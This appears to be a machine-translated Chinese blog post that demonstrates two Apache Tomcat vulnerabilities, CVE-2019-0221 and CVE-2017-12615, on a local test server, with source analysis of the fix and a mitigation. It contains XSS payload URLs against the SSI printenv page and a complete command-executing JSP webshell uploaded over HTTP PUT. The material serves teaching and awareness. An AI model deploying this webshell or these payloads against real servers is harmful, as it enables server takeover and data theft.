Tomcat is an open source lightweight Web application server, in our normal course of their work in contact very much. Code is also very classic, a lot of people to upgrade their technology will learn to read Tomcat source code. But as the famous poet Li Bai said: This is not the world's vulnerability, people use more, also found a loophole. For example, in February this year, the burst of the files containing the vulnerabilities. Today, we have chosen two more intuitive Tomcat vulnerability to simulate the whole process of vulnerability being attacked, and why loopholes will generate, the great God who Tomcat is how to respond.

[Attack a: XSS attack]

A, SSI Technical Note

First, it shows the vulnerability of Tomcat and functions related to SSI, SSI is what

SSI technology, also called Serve Side Includes, SSI (Server Side Include) is the instruction placed in the HTML page, and evaluated on the server when the service page. They enable you to add dynamically generated content to an existing HTML page, without having to provide the entire page via a CGI program, or other dynamic technology. SSI technology using the default file name suffix .shtml;

For example: We can be placed into an existing instruction HTML page, for example:

!--#echo var="DATE_LOCAL" -->

When the page is executed, the following results will be displayed

Sunday, 22-March-2020 18:28:54 GMT

One of the most common uses of SSI: the output of the CGI program, for example, hit counter `` ''. About the technology more detailed description see: http://httpd.apache.org/docs/current/howto/ssi.html

Second, SSI open for Tomcat

Ready JRE, tomcat environment, I chose the "apache-tomcat-9.0.10" (the vulnerability of the affected versions: Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0 .0 to 7.0.93)
Modify conf / context.xml line 19, permission to open

<Context privileged="true">

Modify conf \ web.xml, open SSI Servlet. This code is commented out by default, we can delete the comment, at 310-322 lines of code.

<servlet>
        <servlet-name>ssi</servlet-name>
        <servlet-class>
          org.apache.catalina.ssi.SSIServlet
        </servlet-class>
        <init-param>
          <param-name>buffered</param-name>
          <param-value>1</param-value>
        </init-param>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>expires</param-name>
          <param-value>666</param-value>
        </init-param>
        <init-param>
          <param-name>isVirtualWebappRelative</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>4</load-on-startup>
    </servlet>

Uncommented lines 422-425 on ssi configuration

  <servlet-mapping>
        <servlet-name>ssi</servlet-name>
        <url-pattern>*.shtml</url-pattern>
    </servlet-mapping>

Add madashu_env.shtml in the root directory (the habit of life called printEnv.shtml) file, located in webapps / ROOT / ssi /

<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>

It can start Tomcat

Third, the attack

We enter the following url facie effect

http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E

2. XSS injection

http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E

The attack is successful, the page shown below.

In this way we enable users to load and execute malicious web application attacks are made, the attacker may also include, without limitation, to get a higher authority (such as the implementation of some operations), private web page content, session and cookie and other content.

Fourth, source code analysis

After loopholes produce, Tomcat great God who quickly fixes this vulnerability, we find the time code from Github repair submit records: Click commit

Really, when I see this fix the code is shocked, this is what Sao operation ! ! ! "Entity" is what the hell! ! !

So turn down the code to take over

this place we enter the variable value is output directly to a page, it is clear that just the entity should be carried out transcoding. We find SSIMediator.java file path org.apache.catalina.ssi. SSIMediator

so that we suddenly come to understand, when found to be "entity" content encoding, the input will be Escape, thus avoiding XSS.
We estimate the great God who was also an emergency out of a hotfix version, write directly to the parameters to be dead "entity". There as a Web server, ** the great God who will actually make such a low-level error, so this also explains why there is no system 0Bug, ha ha! ** go look at the latest SSIPrintenv.javafiles have the "entity" is defined as a constant, this professional thing!

[Attack II: remote code execution]

Then again simple presentation remote code execution vulnerability, the vulnerability to high-risk vulnerabilities, even non-default configuration, but once there is vulnerability, an attacker can successfully uploaded Webshell, and control server.

By put upload files, request interception is carried out:
Generates malicious files and namedjiansheng.jsp

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

Remote upload success, then we can happily does not belong to our own playing in the tomcat
The entire code is relatively simple, you can look JspServlet.javahere do not demonstrate.
** Note: ** The flaw affects a very wide range, from 5.x 9.x all shot to. The best solution is to conf / web.xml in respect of DefaultServlet readonly set to true.

[ Conclusion ] Interest is the best teacher, we see a fall off by bigwigs pit, wrote the code, one can stand on the shoulders of giants more quickly upgrade themselves. Interested partners can go and see a small burst of Tomcat has vulnerabilities:
http://tomcat.apache.org/security-9.html
two vulnerabilities in the demonstration are CVE-2019-0221, CVE-2017- 12615.

Thank you for Gangster No. public concern "Uncle code", together with our exchange of learning!
Micro-channel public number: Uncle code decade Rong "code" old "Uncle" flowering

After I successfully attack the Tomcat server